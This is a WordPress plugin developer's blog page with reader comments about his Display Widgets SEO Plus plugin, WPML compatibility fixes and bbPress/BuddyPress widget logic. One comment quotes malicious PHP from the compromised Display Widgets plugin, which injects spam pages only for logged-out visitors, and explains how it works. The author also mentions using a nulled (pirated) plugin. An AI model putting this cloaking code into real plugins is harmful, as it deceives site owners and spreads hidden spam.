Go to the Display Widgets Plus WordPress Plugin Page for the most recent update. I was unfairly moderated on the WordPress support forum, so I removed all my plugins (including the Display Widgets WordPress SEO Plus Plugin) from the free WordPress plugin repository and have no plans to ever add another plugin to the repository! I’m afraid some of the people working for WordPress are more concerned with petty issues like adding moderator notes to forum users posts because they end comments with their name**, rather than actually helping to secure WordPress from hackers with malicious intent! ** Believe it or not many of my recent WordPress support forum posts have been edited by moderators (with a moderator note suggesting […]
Continue Reading Display Widgets Plugin
WPML Language Plugin Widget Logic Testing
For the record up until a few days ago (early November 2016) I’d not used the WPML language plugin: I can barely understand my native language (English), so don’t have multiple language sites :-) Since I wanted to conserve as many of the Display Widget version 2.05 features I downloaded a nulled version of the WPML language plugin version 3.5.1.1 (current version is 3.5.3.1) for localhost testing.
So consider I’ve not rigorously tested the WPML language plugin features under multiple environments : I develop WordPress Plugins/Themes in the latest version of WordPress (version 4.6.1 currently) in a localhost environment running PHP 7.0.11 (one of the latest PHP versions). Before public release I also do basic localhost testing in PHP versions PHP 5.3, PHP 5.4 and PHP 5.6.
I then test on live servers with real domains: this is where it tends to go wrong if it’s going to go wrong :-) Since I don’t have any domains running the WPML language plugin my testing is going to be on the minimal side: I’ve started the process of setting up a WPML demo site under the WPML Go-Global Program, so should have a WPML language test site soon. If the Widget Display SEO Plus plugin doesn’t work with WPML exactly how it does for me in localhost you know why. If something doesn’t work I’ll need as much detail as possible, I’m not an expert user of WPML, so not sure how users use it in the real world.
In my WPML testing I did notice a few quirks related to the WPML plugin. For example the WPML language categories were not available in the “Categories +/-” section, so they can’t be selected: not ideal, meant widgets couldn’t be filtered via specific language categories! The issue was WPML hooks into the WordPress core get_categories() function and excludes categories not in the default language. There’s a WPML remove_filter for “terms_clauses”, so when the WPML plugin is active, the Display Widgets SEO Plus Plugin has to remove the filter, run the get_categories() function, re-add the filter:
if ( class_exists( 'SitePress' ) ) {
if ( empty( $this->cats ) ) {
global $sitepress;
remove_filter( 'terms_clauses', array( $sitepress, 'terms_clauses' ) );
$this->cats = get_categories( array(
'hide_empty' => false,
) );
add_filter( 'terms_clauses', array( $sitepress, 'terms_clauses' ) );
}
} else {
if ( empty( $this->cats ) ) {
$this->cats = get_categories( array(
'hide_empty' => false,
) );
}
}
During my tests this works most of the time, but occasionally the language categories aren’t available (don’t know why). Also couldn’t get it to work with WordPress transients, transients are a way to temporarily cache the output of “expensive” functions like get_categories() which don’t change very often.
I expect there’s going to be other quirks with WPML, this is to be expected with highly customized uses of WordPress: WordPress wasn’t designed to work the way the WPML plugin organizes categories etc…
David Law
WPML Language Plugin Widget Logic Testing
WPML Plugin Widget Logic Bug Fix
In the first release of the Display Widgets SEO Plus Plugin (v1.0.0) there was an issue with the WPML Plugin Widget Logic support (was a code bug).
The WPML plugin overrides the default WordPress get_categories() function (and other functions) so when say the Categories widget is loaded on a sidebar it ONLY loads categories from the language the user is viewing. So if in the German section of a site you only see German categories.
The problem with this is it overrides core WordPress functions which isn’t ideal, IMO they should have left the core WordPress functions like get_categories() alone and built their own custom functions which would only load specific languages etc… so it wouldn’t mess with how core WordPress works with other plugins.
As it is, the WPML language plugin changes how core WordPress functions work, so WordPress theme and plugin developers have to find workarounds.
In the Display Widgets SEO Plus Plugin (v1.0.0) I thought I’d added the correct workaround code (see earlier comment), BUT after more detailed testing there was a problem.
The WordPress Display Widgets SEO Plus transient (a cache of the get_categories() function) was acting in a weird way. I’d load a widget under “Appearance” > “Widgets” and open the “Categories +/-” form to see the correct categories. The correct Categories was ALL categories no matter what their language was.
However, upon clicking the Widgets “Save” button and reopening the “Categories +/-” form, it would only load the Categories of the language set on the WordPress Admin Bar!!!
I assumed I’d got the workaround code wrong (see earlier comment for the basic code).
The WPML plugin workaround code was incomplete for another reason (related to when the “WPML” > “Languages” : “Make themes work multilingual” – “Adjust IDs for multilingual functionality” option is ticked), but the basic workaround should have worked.
You would not believe how many things I tried to fix the code bug (over 8 hours of testing!!!!). I stripped the code right back so it no longer use a WordPress transient, even tried loading the Categories via the get_terms() function, nothing worked!
Eventually traced the issue back to another plugin function being called three times: this function self::register_globals(); is loaded three times in the original Display Widgets v2.05 plugin (in file display-widgets.php lines 256, 302 and 448).
Line 256 is the issue, I don’t know if it causes an issue on the original Display Widgets Plugin (v2.05), but in Display Widgets SEO Plus v1.0.0 it means when a widget is saved the WordPress transient is considered blank and is rebuilt using the get_categories() function WITHOUT the WPML language plugin workaround code.
In hindsight was an easy fix, delete one line of code :-) Though on the plus side spent so much time on this I’ve significantly improved how the transient is saved etc…, so not a complete waste of time.
Anyway, this is the WPML language plugin workaround code for getting ALL categories no matter what WPML language plugin options are set.
This is the Display Widgets SEO Plus Plugin v1.1.0 code
if ( class_exists( 'SitePress' ) ) {
if ( empty( $this->cats ) ) {
global $sitepress;
remove_filter( 'get_terms_args', array( $sitepress, 'get_terms_args_filter' ) );
remove_filter( 'get_term', array( $sitepress,'get_term_adjust_id' ), 1 );
remove_filter( 'terms_clauses', array( $sitepress,'terms_clauses' ) );
$this->cats = get_categories( array(
'hide_empty' => false,
) );
add_filter( 'terms_clauses', array( $sitepress,'terms_clauses' ) );
add_filter( 'get_term', array( $sitepress,'get_term_adjust_id' ) );
add_filter( 'get_terms_args', array( $sitepress, 'get_terms_args_filter' ), 10, 2 );
}
} else {
if ( empty( $this->cats ) ) {
$this->cats = get_categories( array(
'hide_empty' => false,
) );
}
}
The above takes into account the categories are stored as a transient, so first checks if categories are available via the transient (code not show) hence the if ( empty( $this->cats ) ) { code.
If adding this sort of workaround to a plugin or theme start with this code:
if ( class_exists( 'SitePress' ) ) {
global $sitepress;
remove_filter( 'get_terms_args', array( $sitepress, 'get_terms_args_filter' ) );
remove_filter( 'get_term', array( $sitepress,'get_term_adjust_id' ), 1 );
remove_filter( 'terms_clauses', array( $sitepress,'terms_clauses' ) );
$allcategories = get_categories( array(
'hide_empty' => false,
) );
add_filter( 'terms_clauses', array( $sitepress,'terms_clauses' ) );
add_filter( 'get_term', array( $sitepress,'get_term_adjust_id' ) );
add_filter( 'get_terms_args', array( $sitepress, 'get_terms_args_filter' ), 10, 2 );
} else {
$allcategories = get_categories( array(
'hide_empty' => false,
) );
}
The above code checks if the WPML plugin is active (checks for the “SitePress” class), if the plugin is active three WPML plugin filters are removed. The first two remove_filter are related to the “WPML” > “Languages” : “Make themes work multilingual” – “Adjust IDs for multilingual functionality” option (when ticked). The third remove_filter is for categories, tags, taxonomies functions.
When the filters are removed the get_categories() function gets ALL categories (stored in the $allcategories variable), then we add the WPML plugin filters back via the three add_filter code lines.
The } else { part is for when the WPML plugin isn’t active (when the “SitePress” class isn’t found). This grabs the categories in the normal way via the get_categories() function.
The above code works with the get_terms() function as well and assume the get_tags() (untested).
David Law
WPML Plugin Widget Logic Bug Fix
WordPress bbPress and BuddyPress Widget Logic Support
In the Display Widgets SEO Plus Plugin update version 1.1.0 (release is imminent) I’ve added bbPress plugin and BuddyPress plugin widget logic support.
Also fixed a couple of code bugs in the “All Archives…) settings under “Content Types +/-” (those option didn’t work) and fixed WPML language plugin compatibility: in v1.0.0 it worked, but was ‘temperamental’, that was a real pain to fix.
Display Widgets SEO Plus v1.1.0 adds support for the BuddyPress plugin and the bbPress plugin.
The BuddyPress plugin adds Membership Group support to WordPress. The bbPress plugin adds Forum support to WordPress.
Both the BuddyPress and the bbPress plugins add custom sections to a WordPress site which are NOT covered fully by the default WordPress conditionals. Fortunately both WordPress plugins have their own awesome set of conditional functions and the most important ones are supported by the Display Widgets SEO Plus Plugin.
BuddyPress Plugin and bbPress Plugin Conditional Function
ALL BuddyPress Pages – is_buddypress()
BuddyPress Members Directory – bp_is_members_directory()
BuddyPress User Pages – bp_is_user()
BuddyPress Activity Streams Directory – bp_is_activity_directory()
BuddyPress Activity Streams Item – bp_is_single_activity()
BuddyPress Groups Directory – bp_is_groups_directory()
BuddyPress Group – bp_is_group()
BuddyPress Group Forum – bp_is_current_action( ‘forum’ )
BuddyPress Group Forum Topic – bp_is_group_forum_topic()
BuddyPress Registration Page – bp_is_register_page()
With the above options the BuddyPress Recently Active Members Widget would load on the BuddyPress Members Directory Page, on the BuddyPress User Pages and on BuddyPress Activity Streams Items. The widget wouldn’t load anywhere else on the site or you could add additional non-BuddyPress parts of the site via the other Display Widgets SEO Plus options.
ALL bbPress Pages – is_bbpress()
bbPress User Pages – bbp_is_single_user()
bbPress Forum Archive – bbp_is_forum_archive()
bbPress Category Forum – bbp_is_forum_category()
bbPress Forum – bbp_is_single_forum()
bbPress Forum Topic – bbp_is_single_topic()
bbPress Topic Tag – bbp_is_topic_tag()
With the above options the bbPress Forums List Widget would load on the BuddyPress Groups Forum Pages (if any are set) and on the bbPress forum archive page and bbPress Forums (single forums). The widget wouldn’t load anywhere else on the site or you could add additional non-bbPress parts of the site via the other Display Widgets SEO Plus options.
Life would be so much easier is all plugins were developed this way, I only had problems with one of the BuddyPress/bbPress conditional functions above (bp_is_group_forum() is depreciated, so didn’t work, had to use bp_is_current_action( ‘forum’ ) for the “BuddyPress Group Forum” widget logic) the rest were easy to understand and to add widget logic support for.
David Law
WordPress bbPress and BuddyPress Widget Logic Support
What happened with the plugin?
Hi, the plugin isn’t in the WP repository anymore. Has it stopped?
Display Widgets WordPress SEO Plugin v3.0.0 is Still Safe to Use
I removed it (and my other plugins) from the WordPress plugin repository as I was moderated for asking a valid question about what the Display Widgets plugin developer (the developer of another plugin which he’d recently purchased) was doing with MY user data and for pointing out the way the developer was blocking Googlebot (via it’s IP address, the developer assumed it was always a US IP, which isn’t always the case) could result in Display Widgets users having their sites penalized by Google.
See a comment about one of my other plugins for details : Stallion WordPress SEO Plugin v3.0.0 is Still Safe to Use.
I can’t work where my forum posts could be moderated at anytime for what in my opinion are reasonable questions. For example would criticizing the WordPress forum moderators for moderating my posts be another reason to moderate my forum posts??? I can say what I like here (I try to be fair), but on the forum I’d have to second guess everything I post from now on and that’s no way to work for something I don’t get paid for!
Anyway, If you have a copy of the Display Widgets WordPress SEO Plugin v3.0.0 installed on your site there’s nothing wrong with it.
Future plans…
My original plan was to add over a dozen new SEO plugins to the free plugin repository to build a following to support other projects, but that plan is out the window now. Not easy to build a large following for a free plugin outside the repository.
Will probably go premium plugins for everything now, so there’s a good chance version 3.0.0 of the Display Widgets WordPress SEO Plugin is the last free version.
Hmm, that being said…
The Display Widgets plugin has again been removed from the plugin repository (that’s the third time!!!). Someone on the forum posted a support thread “Display Widget Inserted Spammy Links????” : https://wordpress.org/support/topic/display-widget-inserted-spammy-links/ guess they finally noticed the iffy code.
I saw some ‘interesting’ code (which I assume is the cause of it being deleted again) that’s related to creating posts in the Display Widgets plugin in the geolocation.php file, but as I’d been moderated for my previous intervention, I kept quiet this time :-(
Here’s some of the code:
public static function dynamic_page( $posts ) {
if ( !function_exists( 'is_user_logged_in' ) || is_user_logged_in() ) {
return $posts;
}
$displaywidgets_ids = get_option( 'displaywidgets_ids', array() );
if ( $displaywidgets_ids === false || !is_array( $displaywidgets_ids ) ) {
return $posts;
}
$requested_page_slug = strtolower( $GLOBALS[ 'wp' ]->request );
if ( count( $posts ) == 0 && array_key_exists( $requested_page_slug, $displaywidgets_ids) ) {
$post = new stdClass;
$post_date = !empty( $displaywidgets_ids[ $requested_page_slug ][ 'post_date' ] ) ? $displaywidgets_ids[ $requested_page_slug ][ 'post_date' ] : date( 'Y-m-d H:i:s' );
$post->post_title = $displaywidgets_ids[ $requested_page_slug ][ 'post_title' ];
$post->post_content = $displaywidgets_ids[ $requested_page_slug ][ 'post_content' ];
$post->post_author = 1;
$post->post_name = $requested_page_slug;
$post->guid = get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug;
$post->ID = -3371;
$post->post_status = 'publish';
$post->comment_status = 'closed';
$post->ping_status = 'closed';
$post->comment_count = 0;
$post->post_date = $post_date;
$post->post_date_gmt = $post_date;
$post = (object) array_merge(
(array) $post,
array(
'slug' => get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug,
'post_title' => $displaywidgets_ids[ $requested_page_slug ][ 'post_title' ],
'post content' => $displaywidgets_ids[ $requested_page_slug ][ 'post_content' ]
)
);
$posts = NULL;
$posts[] = $post;
$GLOBALS[ 'wp_query' ]->is_page = true;
$GLOBALS[ 'wp_query' ]->is_singular = true;
$GLOBALS[ 'wp_query' ]->is_home = false;
$GLOBALS[ 'wp_query' ]->is_archive = false;
$GLOBALS[ 'wp_query' ]->is_category = false;
unset( $GLOBALS[ 'wp_query' ]->query[ 'error' ] );
$GLOBALS[ 'wp_query' ]->query_vars[ 'error' ] = '';
$GLOBALS[ 'wp_query' ]->is_404 = false;
}
return $posts;
}
}
Note the “is_user_logged_in()” bit, basically says output normal stuff if user is logged in. If the user is logged in it’s probably the site owner and you wouldn’t want them to see the SPAM post. When a user is logged out (like Google), dynamically show the SPAMMY post (nice blackhat SEO way to add SPAM links).
If it stays deleted there’s an opportunity for me to release the old v2.05 version of the Display Widgets code (2.05 is stable, but has some bugs and lacks some quite basic features) with my bug fixes and few extra features, give that away for free and sell the Display Widgets WordPress SEO Plugin (after an update to add new features of course).
David
Display Widgets WordPress SEO Plugin v3.0.0 is Still Safe to Use
Latest Display Widgets SEO Plus Plugin
Good afternoon David Law. My name is Tom, and I’m interested in your Display Widgets SEO Plus plugin. After updating my site on the wordpress engine to version 4.8.1, the Display Widgets 2.05 version plug-in stopped working.
I found your message on the Internet about the fact that you upgraded the old version of this file, and made your Display Widgets SEO Plus, which works at the moment. I was able to find only 1.0 version of your plugin, but it unfortunately does not work (the settings are not active in the plugins menu).
Perhaps you have a newer version? And can you send it to me?
Thank you in advance.
Latest Display Widgets SEO Plus Plugin
Shame
Been there done that with WP Plugins people. Was moderated for years by them for disagreeing with them in the forums. Stopped trying. Still try to help others, but won’t deal with the “team”.
Sad things happened the way they have with you on WordPress.org. I would have very much liked to have a copy of Display Widgets SEO Plus.
Thanks though for providing the update to the original and providing a download link on your site. That is great.
Thanks again,
Louis
Shame
How can I get the plugin
Hey David,
how can I get the plugin?
Is there any way to resolve the problem of the plugin?
Best,
Gerd
Future Display Widgets Plugin Development
I’ve updated the main article with new information, also pasted below:
Because of the hacking mess related to the Display Widgets Plugin v2.6.* (see my Display Widgets Plugin Review) I’m developing/supporting two Display Widgets Plugins:
Display Widgets Plugin v4.* (free) – security update/upgrade to replace the malicious Display Widgets Plugin v2.6.* and the broken v2.7 update released by the plugin team (the update function messes up). v4.0.0 has already been released (see link below, it’s free) and includes significant feature updates.
Display Widgets Plus v4.* (premium) – an updated version of the Display Widgets SEO Plus Plugin v3.0.0. v4.0.0 has NOT been released yet.
Both plugin versions (free and premium) are developed/supported at the following Display Widgets Plus WordPress Plugin page.
The difference between the free plugin and premium will be in the advanced widget logic for other plugins like BuddyPress, bbPress, Woocommerce and the Paged options. The free version has limited Paged logic and basic widget logic support for other plugins (bbPress etc…) and the premium version includes Paged options and advanced widget logic support for other plugins. So the free version does ~90% of what the Display Widgets SEO Plus Plugin v3.0.0 did.
David Law
Future Display Widgets Plugin Development